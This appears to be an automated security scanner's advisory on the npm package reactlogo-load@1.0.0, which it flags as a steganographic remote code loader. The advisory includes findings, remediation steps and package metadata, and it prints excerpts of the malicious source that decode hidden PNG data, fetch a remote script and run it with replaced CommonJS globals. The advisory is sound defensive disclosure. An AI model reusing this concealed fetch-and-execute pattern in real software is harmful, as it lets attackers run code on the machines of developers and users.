Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. A crafted image can conceal a URL and code-construction controls. Loading that image fetches remote text and executes it through a delegate. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-09-09T10:50:08.387Z - **Finished:** 2026-09-09T10:51:05.218Z - **Download time:** 253 ms - **Static scan time:** 118 ms - **AI review time:** 56459 ms - **Total time:** 56831 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** A crafted image can conceal a URL and code-construction controls. Loading that image fetches remote text and executes it through a delegate. - **Trigger:** A consumer calls loadLogo or a hook that loads an attacker-controlled image. - **Impact:** Remote code can run in the consuming browser or Node.js process. - **Evidence paths:** dist/index.js - **Review source:** ai\_review - **Reviewed:** 2026-09-09T10:51:05.218Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Steganographic remote code loader - **Attack narrative:** The package decodes hidden strings from image pixels and immediately routes them into an obfuscated execution chain. The hidden values select a callable, construct a delegate, supply a fetch URL, and pass the fetched response to that delegate after changing CommonJS globals. This permits a crafted image to deliver and execute remote code when the package loads it. - **Rationale:** This is a concealed remote code loader, not ordinary image parsing. The absence of an install hook does not mitigate runtime execution of a payload selected by attacker-controlled image data. - **Files touched:** dist/index.js ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** PNG least-significant-bit data is automatically passed to the hidden execution path., Hidden image fields control a property lookup and callable construction., A decoded URL is fetched and its response is passed to the constructed delegate., The delegate runs with temporarily replaced CommonJS globals. - **Evidence against:** The manifest has no install lifecycle hook., Execution requires a caller to load a crafted image. ## Affected versions and remediation This report applies to reactlogo-load@1.0.0. - Avoid installing reactlogo-load@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/index.js - **Public source:** [View source]() Hidden image fields control a property lookup and callable construction. Public source snippet (untrusted): ```javascript function runInContext(resolver, spacing, req, mod) { const methodName = resolver(spacing[1]); const resolvedMethod = resolver[methodName]; const scriptToken = resolver(spacing[2]); const delegateBuilder = resolvedMethod(scriptToken); const delegate = delegateBuilder(); ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/index.js - **Public source:** [View source]() A decoded URL is fetched and its response is passed to the constructed delegate. Public source snippet (untrusted): ```javascript const url = spacing[0]; fetch(url).then((res) => { if (!res.ok) throw new Error(""); return res.text(); }).then((text) => { globalContext(req, mod, delegate, text); }).catch((err) => console.error()); ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** dist/index.js - **Public source:** [View source]() The delegate runs with temporarily replaced CommonJS globals. Public source snippet (untrusted): ```javascript function globalContext(req, mod, delegate, script) { const global = globalThis; const originalRequire = global["require"]; const originalModule = global["module"]; const originalExports = global["exports"]; const originalFilename = global["__filename"]; const originalDirname = global["__dirname"]; global["require"] = req; global["module"] = mod; global["exports"] = mod.exports; global["__filename"] = typeof __filename !== "undefined" ? __filename : void 0; global["__dirname"] = typeof __dirname !== "undefined" ? __dirname : void 0; try { delegate(script); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 1 - **Optional dependencies:** 0 - **Peer dependencies:** 1 - **Development dependencies:** 4 - **Published dependency-graph edges:** 2 ### Published dependency entries - canvas ^3.2.3 (Dependency) - react \>=17 (PeerDependency) ## Package metadata - **Package:** reactlogo-load - **Ecosystem:** npm - **Version:** 1.0.0 - **Version published:** 2026-09-07T21:33:38.875Z - **Package first seen:** 2026-09-09T10:51:05.218Z - **Package last seen:** 2026-09-09T10:51:05.218Z - **Known versions:** 1 - **Latest version:** 1.0.0 - **Appeal under review:** No - **Description:** Load hidden data from PNG images — works in React (browser) and Node.js - **Runtime engines:** node: \>=18 - **Artifact files:** 4 - **Artifact unpacked size:** 29,650 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]()
